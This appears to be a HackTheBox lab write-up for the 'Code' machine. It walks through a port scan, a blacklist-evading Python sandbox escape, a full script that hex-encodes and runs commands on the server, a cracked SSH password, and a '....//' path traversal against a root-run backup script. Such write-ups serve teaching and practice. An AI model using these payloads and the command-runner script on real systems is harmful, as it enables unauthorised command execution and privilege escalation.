← Back to list

Code: HackTheBox Writeup

A beginner’s guide to solving Code, an easy machine on HackTheBox

HackTheBox SRMIST · 2025-12-19 12:54 · 3 claps · 4.9 min read
#cybersecurity #hackthebox #hackthebox-writeup #web-exploitation #boot2root
Open on Medium ↗
Wiki topics: 🔒 · Cybersecurity

Code: HackTheBox Writeup

A beginner’s guide to solving Code, an easy machine on HackTheBox

Enumeration

Let’s start by finding the open ports using masscan, a lighting fast port scanner using the following command:

sudo masscan 10.10.11.62 -e tun0 -p 1-65535,U:1-65535 --rate 1000

We get the following output:

Discovered open port 5000/tcp on 10.10.11.62                                   
Discovered open port 22/tcp on 10.10.11.62

From here, it’s time to start enumerating the ports. Port 22 is for SSH so not much to be expected. On the other hand, port 5000 contains a website so let's see what we can get there.

Now we can see a code sandbox where we can run commands. On testing this port further with basic python sandbox escaping payloads from hacktricks, I found that it was protected by a blacklist.

Exploitation and Initial foothold

None of these payloads worked for me so I had to get a bit creative, and I found this one to work and give command execution.

resolve = ''.__class__.mro()[1].__subclasses__()
targs = [cls for cls in resolve if 'su'+'bproc'+'ess' in str(cls).lower()]
rope = targs[1]('wh'+'oami', stdout=-1, stderr=-1, shell=True)
ropeout, roperr = rope.communicate()
print(ropeout.decode())

This allows us to gain Code execution but for whatever reason I was not able to upgrade this to a reverse shell. So I made a simple script to execute commands on the server via an interactive console.

import requests
import sys
import codecs
def encode_hex(cmd):
    hexlify = codecs.getencoder('hex')
    res_string = r""
    for i in cmd:
        res_string += r"\x" + hex(ord(i)).replace('0x', '')
    return res_string
if not len(sys.argv) == 2:
    print(f"Usage: python {sys.argv[0]} <ip:port>")
    exit(1)
# print(encode_hex(sys.argv[2]))
url = rf"http://{sys.argv[1]}/run_code"
headers = {
    "X-Requested-With": "XMLHttpRequest",
}
def send_command(cmd):
    TEMPLATE = rf"""
resolve = ''.__class__.mro()[1].__subclasses__()
targs = [cls for cls in resolve if 'su'+'bproc'+'ess' in str(cls).lower()]
rope = targs[1]('{encode_hex(cmd)}', stdout=-1, stderr=-1, shell=True)
ropeout, roperr = rope.communicate()
print(ropeout.decode())
"""
    data = {
        "code": TEMPLATE,
    }
    res = requests.post(url, data=data, headers=headers)
    #print(f"[*] Got status code = {res.status_code}")
    if res.status_code == 200:
        #print("[+] Command output: ")
        cmd_out = res.json()
        return cmd_out["output"]
    else:
        return f"[-] Failed to run command, received status code {res.status_code}"
def main():
    running = True
    print("type 'help' for more, type some linux commands to see output")
    while running:
        cmd = input("command> ")
        cmd.strip()
        if cmd.lower() == 'exit':
            running = False
        if cmd.lower() == 'help':
            print("Type 'exit' to exit command shell, type 'clear' to clear the shell")
            continue
        if cmd.lower() == 'clear':
            __import__('os').system('clear')
            continue
        print(send_command(cmd))
    else:
        print("Bye!!")
if __name__ == "__main__":
    main()

This script allows you to run commands on the server via an interactive console. In short, all it does is convert each command into its hex format and then pass it into the server and read the response. So for example if I typed in ls it would pass in \x6c\x73 as the command into the server. This will help us bypass any blacklist on the commands that can be run on the server. On poking around here I found user.txt, and hence, the user flag.

Pivoting and Privilege Escalation

However, we still need a proper shell, since the stupid script I provided above doesn’t do anything much beyond running a bunch of arbitrary commands. So I looked into /etc/passwd and found this.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
app-production:x:1001:1001:,,,:/home/app-production:/bin/bash
martin:x:1000:1000:,,,:/home/martin:/bin/bash
_laurel:x:997:997::/var/log/laurel:/bin/false

As you can see, we have a user martin. This is our likely path to privilege escalation. There is a file on the server called instance/database.db in the server root. Using the interactive shell I used the strings command to read it.

Here we can see the username martin stored with a hash. I copied and pasted that hash into crackstation to obtain the password. The password obtained is nafeelswordsmaster which allows us to login into SSH as well. The pivoting is now successfully complete.

As is custom for every HackTheBox machine, from here we’ll run sudo -l to see what privileges the user holds.

Matching Defaults entries for martin on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User martin may run the following commands on localhost:
    (ALL : ALL) NOPASSWD: /usr/bin/backy.sh

You can see there’s a file called backy.sh that can be run as root. The file basically takes in a JSON file in a format like this

{
        "destination": "/home/martin/backups/",
        "multiprocessing": true,
        "verbose_log": false,
        "directories_to_archive": [
                "/home/app-production/app"
        ],
        "exclude": [
                ".*"
        ]
}

and makes a .tar.bz2 archive of the directory specified in directories_to_archive. I'll just post the part of backy.sh that's vulnerable and explain the weakness in this program.

allowed_paths=("/var/" "/home/")
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
/usr/bin/echo "$updated_json" > "$json_file"
directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')
is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1

You can see that it replaces all ../ with an empty string. But, if you've seen this sort of thing before, then it becomes VERY obvious that the replacement is non recursive. So if I pass in something like ....// it will turn it into ../. Another check is if the directory is a sub-directory of /home or /var. This is easily bypassed via directory traversal.

Since this runs as sudo, all we really need to do is backup the root.txt file in the /root. So we'll create a JSON file exploit.json containing this content:

{
    "destination": "/home/martin",
    "directories_to_archive": [
        "/home/....//....//....//root/root.txt"
    ]
}

So let’s run this exploit and see what happens.

Now I’ll exfiltrate this archive to my machine and extract it. Here I simply started a python http server on the target and downloaded it to my kali vm. Let’s finally extract it and obtain the flag.

Conclusion

This box tests the concepts of Sandbox Escaping and basic privilege enumeration in order to gain user and root. Due to the simplicity of this box I’d highly recommend it to beginners as one of their first boxes on HTB, just to start gaining the feel for all the nuances and exploits for future HTB machines we’re gonna solve.

Happy Hacking :)

Contributor

Abihimanyu V


메타데이터
post_id
7b1d764df077
slug
code-hackthebox-writeup-7b1d764df077
url
https://medium.com/@htbsrmist/code-hackthebox-writeup-7b1d764df077
canonical_url
https://medium.com/@htbsrmist/code-hackthebox-writeup-7b1d764df077
author_url
https://medium.com/@htbsrmist
status
ok
fetched_at
2026-07-14 20:36:01